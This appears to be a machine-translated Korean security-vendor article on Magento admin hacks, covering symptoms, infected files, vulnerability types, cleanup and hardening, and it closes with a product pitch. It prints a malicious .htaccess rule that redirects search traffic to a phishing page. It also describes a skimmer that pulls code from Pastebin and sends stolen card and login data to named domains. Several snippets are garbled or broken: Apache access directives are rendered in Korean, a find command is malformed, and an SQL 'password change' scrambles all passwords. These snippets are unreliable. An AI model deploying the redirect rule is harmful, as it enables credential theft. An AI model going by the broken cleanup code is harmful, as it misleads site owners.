Magento는 인터넷을 통한 전자 상거래의 성장에 기여했습니다. 무료(커뮤니티 에디션) 및 유료(엔터프라이즈 에디션) 버전으로 제공되는 Magento는 오픈 소스 전자 상거래 소프트웨어 시장을 선도하고 있습니다. Magento 2는 꽤 오랫동안 출시되었으며 몇 가지 과감한 보안 및 성능 업데이트를 제공합니다. 그러나 대부분의 사이트는 새 버전으로 업데이트되지 않아 Magento Admin 해킹 및 기타 공격에 취약합니다. Magento의 CEO인 Mark Lavelle는 보안 위험을 이해하고 있으므로 다음과 같이 말했습니다.
Magento 관리자 해킹:예
관리자 패널은 사이트에 대한 높은 권한 액세스를 제공할 수 있으므로 Magento 스토어에서 가장 자원이 풍부한 영역 중 하나입니다. 따라서 Magento 어드민 해킹으로 인해 해킹 당했을 때 사용자는 도움을 요청하는 것 외에 다른 구제책이 없습니다. 커뮤니티 포럼에서 지원을 요청하는 침해된 사용자를 찾을 수 있습니다.
Magento 관리자 해킹:증상
- 고객이 도난당한 신용 카드 정보에 대해 불평합니다.
- Magento 대시보드에 여러 관리자가 표시됩니다.
- 여러 개의 알 수 없는 IP에서 사이트에 액세스했습니다.
- 마젠토 매장이 훼손되었습니다.
- 웹사이트를 스캔하면 저장된 신용 카드 정보가 표시됩니다.
- FTP 로그는 알 수 없는 기기의 성공적인 연결 시도를 보여줍니다.
- 관리자를 피싱 페이지로 리디렉션하는 파일 내에 삽입된 악성 코드입니다.
- Magento 매장이 검색 엔진에 의해 차단되었습니다.
- 타사 호스팅을 사용 중이고 '계정이 일시 중지되었습니다!'라는 메시지가 표시됩니다.
Magento 관리자 해킹:일반적으로 감염되는 파일
a) config.php 및 env.php
Config.php와 Env.php는 Magento 설치의 중요한 파일입니다. Magento 2 배포 구성의 일부이며 Magento 2 설치를 위한 공유 및 시스템별 구성으로 구성됩니다. Magento의 배포 구성은 app/etc/config.php
로 나뉩니다. 및 app/etc/env.php
. 이러한 파일은 기본적으로 파일 시스템과 데이터베이스 간의 연결을 용이하게 합니다. env.php는 데이터베이스 연결 자격 증명을 포함합니다. 이 외에도 다음과 같은 용도로도 사용할 수 있습니다.
- 보안 키를 정의합니다.
- 데이터베이스 접두사를 지정합니다.
- 관리자 패널의 기본 언어를 설정합니다.
app/etc/config.php
공유 구성 설정과는 별도로 설치된 모듈, 테마 및 언어 패키지 목록을 저장하는 자동 생성 파일입니다. 자동 생성되기 때문에 Magento 2 repo/release에는 없습니다.
마젠토 2
Magento 2.2부터 app/etc/config.php
파일이 더 이상 .gitignore
의 항목이 아닙니다. 파일. 이것은 소프트웨어의 더 나은 개발을 촉진하기 위해 수행되었습니다.
업데이트: 독자의 피드백 후 Magento DevDocs(https://devdocs.magento.com/guides/v2.3/config-guide/config/config-php.html)와 동기화되도록 섹션이 업데이트되었습니다.
여러 번 config.php는 해커가 사용자 자격 증명을 훔치는 악성 코드에 감염되었습니다. 다음은 발견된 맬웨어 샘플 중 하나입니다.
코드의 처음 몇 줄에는 패치라는 악성 기능이 포함되어 있습니다. 이것은 기본적으로 파일의 내용을 수정합니다. 수정된 파일에는 외부 소스(Pastebin)에서 가져온 악성 코드가 주입됩니다. 다음과 같은 모든 결제 및 사용자 관련 파일에 영향을 미칩니다.
/app/code/core/Mage/Payment/Model/Method/Cc.php
/app/code/core/Mage/Payment/Model/Method/Abstract.php
/app/code/core/Mage/Admin/Model/Session.php
/app/code/core/Mage/Admin/Model/Config.php
또한 탐지를 피하기 위해 base64 인코딩을 사용합니다. 이 외에도 다른 영리한 기술을 사용하여 숨깁니다. 예를 들어, 코드 $link_a =$link.'YTGgAnrv'; $link_a ='hxxp://pastebin[.]com/raw/YTGgAnrv'로 번역될 수 있습니다. . 또한 도난당한 관리자 로그인 정보와 신용 카드 정보가 2개의 도메인, 즉:
으로 유출됩니다.hxxp://magento.ontools[.]net/update
hxxp://www.bgsvetlina[.[com/post.php
또한 악성코드는 “error_reporting(0); ". 이렇게 하면 Magento 매장에서 감염을 발견할 수 있는 오류 보고가 억제됩니다. 따라서 이 악성코드는 CC 도용과 Magento 관리 영역 해킹이 모두 가능했습니다.
b) Index.php
Index.php는 Magento 스토어의 랜딩 페이지입니다. 따라서 공격자들은 상점을 훼손하는 등 다양한 공격에 이용한다. 또는 때때로 랜섬웨어가 모든 파일 내용을 암호화하고 index.php에 몸값 요구만 남길 수 있습니다. 또한 업데이트로 인해 index.php
에 문제가 발생할 수 있습니다. 파일. 일부 웹 관리자는 단순히 색인 파일의 이름을 index.php.old
로 변경합니다. 시스템을 업데이트하는 동안. 이러한 파일에는 중요한 정보가 포함되어 있으며 나중에 자동 스캐너를 사용하여 공격자가 발견할 수 있습니다.
c) .htaccess
.htaccess 파일을 사용하여 디렉터리별로 Magento의 구성을 변경할 수 있습니다. 사용자는 httpd.conf/apache.conf에 정의된 기본 구성을 수정할 수 있습니다. .htaccess 파일에 제공된 지침은 폴더와 이 파일이 있는 디렉토리의 모든 하위 폴더에 적용됩니다. 또한 .htaccess 파일은 사이트에 액세스하는 방식을 수정하는 데 도움이 됩니다. 또한 .htaccess를 사용하여 다음을 수행할 수 있습니다.
- Magento 스토어의 특정 폴더에 대한 액세스를 차단합니다.
- 스토어에 대한 리디렉션을 만듭니다.
- 강제 HTTPS.
- 스토어에 대한 몇 가지 스크립트 삽입 공격을 완화합니다.
- 봇에 의한 사용자 이름 열거 차단
- 이미지 핫링크를 차단합니다.
- 스토어에서 파일을 강제로 다운로드합니다.
이 강력한 파일이 손상되면 공격자가 스팸을 제공하는 데 사용할 수 있습니다. .htaccess
파일에 악성 코드를 주입하여 사용자를 리디렉션할 수 있습니다. 더 명확히 하기 위해 그러한 악성 코드 서명 중 하나가 아래에 나와 있습니다.
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* https://PhishingDomain.tld/phish.php?t=3 [R,L]
마지막 줄에 있는 이 악성 코드는 사이트에서 사용자 트래픽을 리디렉션합니다. 사용자는 https://PhishingDomain.tld
로 리디렉션됩니다. . 그런 다음 phish.php
로드를 시도합니다. 스크립트. 이 스크립트는 원래 로그인 관리자 패널처럼 보일 수 있습니다. 그러면 의심하지 않는 사용자가 자격 증명을 공격자에게 제공할 수 있습니다. 이것은 Magento 관리자 영역 해킹으로 이어질 수 있습니다.
Magento 관리자 해킹:일반적인 공격
Magento는 2018년 11월 28일 SUPEE-10975라는 중요 업데이트 번들을 출시했습니다. 여기에는 Magento 저장소 손상으로 이어질 수 있는 취약성과 관련된 몇 가지 중요한 보안 업데이트가 포함되어 있습니다. 몇 가지 일반적인 공격은 다음과 같습니다.
1) 마젠토 인증 무차별 대입
Magento 인증 무차별 대입 공격을 통해 공격자는 올바른 암호를 찾을 때까지 여러 암호를 시도할 수 있습니다. PRODSECBUG-1589라는 취약점이 발견되었습니다. 이는 1.9.4.0 이전의 Magento 오픈 소스 및 1.14.4.0 이전의 Magento Commerce에 영향을 미칩니다. 이를 악용하여 공격자는 RSS 노드에 대한 무차별 대입 요청을 할 수 있습니다. 이러한 노드 중 일부는 관리자 인증이 필요합니다. 따라서 이를 사용하여 공격자는 관리자 암호를 추측할 수 있습니다. 이 취약점은 매우 심각하여 9점을 받았습니다. 이 결함은 Magento 관리자 패널을 손상시킬 수 있습니다.
2) Magento 원격 코드 실행
RCE 취약점으로 인해 공격자는 Magento 저장소에서 확인되지 않은 코드를 실행할 수 있습니다. Magento Community Edition 및 Enterprise Edition 2.0.6 이전 버전은 RCE 버그에 취약했습니다. 이 취약점은 기본적으로 원격 공격자가 PHP 이의제기 주입 공격을 수행하도록 허용했습니다. 그러면 직렬화된 쇼핑 카트 데이터를 통해 임의의 PHP 코드를 실행할 수 있습니다. 이 버그에 대한 익스플로잇이 릴리스되었으며 Metasploit 모듈도 사용할 수 있습니다. PRODSECBUG-2159로 명명된 또 다른 RCE 결함은 1.9.4.0 이전의 Magento 오픈 소스와 1.14.4.0 이전의 Magento Commerce 및 2.1.16 이전의 Magento 2.1, 2.2.7 이전의 Magento 2.2에서 발견되었습니다. CVSSv3 심각도 점수는 8.5입니다. 이 외에도 SUPEE-10975 보안 업데이트에는 RCE와 관련된 여러 보안 업데이트가 포함되어 있습니다. 일부는 동영상을 첨부하는 동안 파일을 업로드하는 것처럼 간단하게 악용할 수 있습니다(PRODSECBUG-2156).
3) Magento 교차 사이트 스크립팅
XSS 취약점은 Magento 매장에 영향을 미치는 웹에서 발견되는 가장 일반적인 취약점 중 하나입니다. 이러한 XSS 결함 중 하나는 1.9.4.0 이전의 Magento 오픈 소스 및 1.14.4.0 이전의 Magento Commerce, 2.1.16 이전의 Magento 2.1, 2.2.7 이전의 Magento 2.2에 영향을 미치는 ODSECBUG-2053으로 명명되었습니다. 이러한 버전은 뉴스레터 템플릿을 통한 XSS 공격에 취약했습니다. XSS 공격은 공격자가 관리자를 속여 Magento 관리자 해킹으로 이어지는 피싱 자바스크립트를 통해 로그인 자격 증명을 공개하도록 할 수 있습니다.
4) Magento 교차 사이트 요청 위조
Magento CSRF 공격은 기본적으로 사용자가 사용 중인 웹 앱에서 원치 않는 요청을 실행하도록 속입니다. 그러나 공격자는 요청만 실행할 수 있으며 공격자가 응답을 볼 수 있는 방법이 없다는 점은 주목할 만합니다. 이는 데이터 도난이 없음을 의미합니다. PRODSECBUG-2125, PRODSECBUG-2088 및 PRODSECBUG-2140으로 명명된 Magento에서 여러 CSRF 버그가 발견되었습니다. 사용자가 다음 항목을 삭제하도록 속일 수 있습니다.
- 한 번에 모든 차단
- 승격된 권한을 통해 Magento 매장의 다양한 고객 그룹.
- Magento 매장의 사이트 맵.
해킹된 Magento 사이트를 청소하는 데 전문가의 도움이 필요하십니까? 채팅 위젯에 메시지를 남겨주시면 기꺼이 도와드리겠습니다. 지금 Magento Admin Hack을 수정하세요.
5) Magento 관리자 해킹:파일 정리
먼저 Magento 관리자 패널을 보호하려면 비밀번호를 안전한 것으로 변경하십시오. 이것은 다음 SQL 문을 사용하여 Magento 1과 2 모두에 대해 수행할 수 있습니다. update users set pass =concat('ZZZ', sha(concat(pass, md5(rand())))));
Magento 1 및 2 모두에서 이제 Magento 관리자 해킹 감염된 파일 내부의 악성 코드를 검사합니다. 몇 가지 일반적인 사항은 다음과 같습니다.
Index.php
.htaccess
config.php
Cron Jobs
이 파일에서 악성 코드를 찾아 나중에 제거할 수 있도록 주석으로 처리합니다. 또한 Base64로 인코딩된 악성 코드를 검색합니다. 간단한 명령으로 트릭을 수행할 수 있습니다.
find . -name "*.php" -exec grep "base64"'{}'; -print &> hiddencode.txt
이 코드 조각은 base64로 인코딩된 코드를 스캔하여 hiddencode.txt
안에 저장합니다. . 이 코드에 대한 추가 분석을 위해 온라인 도구를 사용하십시오. phpMyAdmin과 같은 도구는 여러 Magento 관리자 해킹 감염된 파일을 한 번에 검색하는 데 큰 도움이 됩니다. 아래 이미지와 같이 phpMyAdmin을 이용하여 악성코드를 검색합니다.
마젠토 관리자 패널 보안
1) 업데이트 및 백업
Magento는 보안 업데이트를 자주 릴리스합니다. 항상 최신 패치를 설치해야 합니다. 아직 마이그레이션하지 않았다면 Magento 2로 마이그레이션하십시오. Magento 2는 더 안전하고 성능이 향상되었습니다. 또한 공격 시 복구할 수 있도록 Magento 저장소를 백업해 두십시오.
2) HTTPS 사용
고객과 Magento 매장 간의 정보 교환을 암호화하는 것이 중요합니다. 따라서 SSL 표준을 사용하여 고객의 온라인 거래를 보호하십시오. Magento 1의 경우 3가지 간단한 단계를 통해 수행할 수 있습니다.
- 먼저 관리자 패널> 시스템> 구성> 일반> 웹> 보안으로 이동합니다.
- 이제 Base_url 설정을 "http"에서 "https"로 수정합니다.
- 프런트엔드 및 관리자에서 보안 URL을 사용하도록 설정합니다.
Magento 2의 경우 스토어> 설정> 구성> 웹> 일반으로 이동합니다. 아래 이미지와 같이
3) 기본 관리 URL 무작위 지정
로그에 Magento 관리자에 대한 무차별 대입 공격이 자주 표시되는 경우 가장 좋은 솔루션은 이를 무작위화하는 것입니다. 원하는 URL로 변경하고 기본 URL을 피하십시오. 이것은 Magento 1에서 관리> 스토어> 구성> 고급> 관리로 이동하여 변경할 수 있습니다.
Magento 2의 경우에도 동일한 절차가 적용됩니다. 스토어> 구성> 고급으로 이동합니다. 더 명확히 하기 위해 아래 주어진 이미지를 참조하십시오.
4) 2단계 인증 사용
이중 인증은 Magento 관리자 패널에 보안 계층을 추가할 수 있습니다. 주로 Google 인증 애플리케이션을 기반으로 합니다. 먼저 관리자는 QR 코드를 스캔해야 합니다. 그러면 임의의 6자리 숫자가 생성됩니다. 30초의 제한 시간입니다. 따라서 Magento 관리자 패널은 로그인 자격 증명과 함께 인증 키를 입력한 후에만 액세스할 수 있습니다. 그러나 이 기능은 기본적으로 Magento에서 사용할 수 없으며 이를 사용하려면 타사 플러그인을 구입해야 합니다. 이 플러그인은 Magento 1과 Magento 2 모두에서 작동할 수 있습니다.
5) 액세스 제한
관리자 패널은 관리자 이외의 다른 사람이 액세스할 수 없습니다. 따라서 특정 IP만 액세스할 수 있도록 하는 것이 현명한 결정이 될 것입니다. 이것은 Magento 1과 2 모두에서 .htaccess 파일을 사용하여 수행할 수 있습니다. 선택한 특정 IP만 허용하려면 .htaccess 파일에 다음 코드를 추가하세요.
주문 거부, 허용
모두를 부정하다
xxx.xxx.xxx.xxx에서 허용
6) 보안 솔루션 사용
사이트를 정리하고 복원한 후에도 Magento 관리자 해킹이 다시 발생할 수 있습니다. 그 이유는 공격자가 남긴 백도어이거나 패치되지 않은 상태로 남아 있을 수 있는 취약점일 수 있습니다. 이러한 시나리오를 방지하려면 WAF 또는 일종의 보안 솔루션을 사용하는 것이 좋습니다. 이제 가장 중요한 작업은 Magento 매장에 적합한 방화벽을 찾는 것입니다. 확장성, 사용 용이성, 사용 가능한 리소스 등과 같은 여러 요소를 구매하기 전에 고려해야 합니다. Astra Website Protection은 모든 요구 사항을 쉽게 충족할 수 있으므로 적극 권장합니다. Astra 방화벽은 확장성이 뛰어나 개인 블로그나 대형 상점을 동시에 보호할 수 있습니다. 또한 Astra를 사용하면 간단한 대시보드를 통해 모든 것을 관리할 수 있으므로 복잡한 보안 지식이 필요하지 않습니다.
방화벽 외에도 Astra는 포괄적인 보안 감사 및 침투 테스트도 제공합니다. 이렇게 하면 Magento 매장 내에서 허점을 발견할 때 공격자보다 우위를 점할 수 있습니다.